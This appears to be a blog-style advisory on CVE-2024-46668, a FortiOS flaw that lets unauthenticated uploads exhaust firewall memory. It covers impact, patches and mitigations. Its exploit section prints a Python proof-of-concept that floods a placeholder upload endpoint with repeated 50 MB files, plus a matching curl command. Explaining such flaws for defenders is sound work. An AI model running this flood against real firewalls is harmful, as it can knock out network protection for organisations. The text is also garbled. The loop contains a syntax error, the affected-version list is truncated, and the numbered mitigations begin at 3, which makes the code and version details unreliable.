In June 2024, researchers discovered and disclosed CVE-2024-46668, a critical vulnerability in Fortinet’s FortiOS. This flaw affects a wide range of versions and allows remote, unauthenticated attackers to drain your firewall’s memory—potentially crashing it or making it useless—all by bombarding it with big file uploads. If you manage a FortiGate firewall, this is one you need to know about.

What is the Problem?

The vulnerability is classified as “Allocation of Resources Without Limits or Throttling” (CWE-770). In short, FortiOS does not properly limit how much memory can be used for file uploads, or how many upload sessions can happen at once. If a hacker hammers the upload endpoint with huge files, the system allocates memory for every request, eventually consuming all available RAM. This leads to Denial-of-Service (DoS)—the firewall can freeze, reboot, or stop filtering traffic entirely.

FortiOS 6.4. through 6.4.15

If your firewall runs any of these, you’re at risk.

How Does the Exploit Work?

Attackers don’t need credentials or special access. Any remote user who can reach your firewall’s upload interface can attack.

Sample Exploit Code

Exploitation is relatively easy. An attacker can use a simple script with tools like curl or requests in Python to automate large uploads. Here’s a basic proof-of-concept in Python—a responsible defender can use this to test their own appliance (but never use it on systems you don’t own!):

import requests

# URL to your FortiGate upload service
target_url = "https://TARGET-FORTIGATE/upload";
# Large file to upload (can generate or just use /dev/zero if local)
large_data = b"A" * 50 * 1024 * 1024  # 50 MB of data

for i in range(, 20):
    files = {'file': ('large.bin', large_data)}
    try:
        response = requests.post(target_url, files=files, verify=False)
        print(f"Upload {i+1} status: {response.status_code}")
    except Exception as e:
        print(f"Error at upload {i+1}: {e}")

This loop uploads a 50MB dummy file 20 times in a row, which can quickly exhaust memory on vulnerable devices.

> Replace target_url with the actual upload endpoint of your FortiGate.

Tools like curl can do similar things with

curl -k -X POST -F "file=@largefile.bin" https://TARGET-FORTIGATE/upload

Real-World Impact

In practical terms, a motivated attacker could take down a firewall in minutes. Think about what that means for your enterprise—no firewalls, no Internet, no protection. It’s especially worrisome for businesses that expose the management or file transfer interfaces to the Internet.

Fortinet has released patched versions and security advisories

- Fortinet's official advisory: FG-IR-24-146
- CVE Record

Restrict WAN access to upload interfaces and management ports.

3. Monitor for large or repeated file uploads, which could indicate probing or exploitation attempts.
4. Use application-layer firewall rules or web application firewalls (WAFs) to set upload size and request rate limits.

Conclusion

CVE-2024-46668 is a nasty flaw with very simple exploitation. Luckily, it’s easy to fix if you update your firewall and follow basic security hygiene. Don’t put it off—unpatched, a single script can take down your defenses.

Stay safe!

*References:*
- FG-IR-24-146 – Unrestricted Resource Allocation in FortiOS
- CVE-2024-46668 at cve.org
- CWE-770: Allocation of Resources Without Limits

Timeline

Published on: 01/14/2025 14:15:31 UTC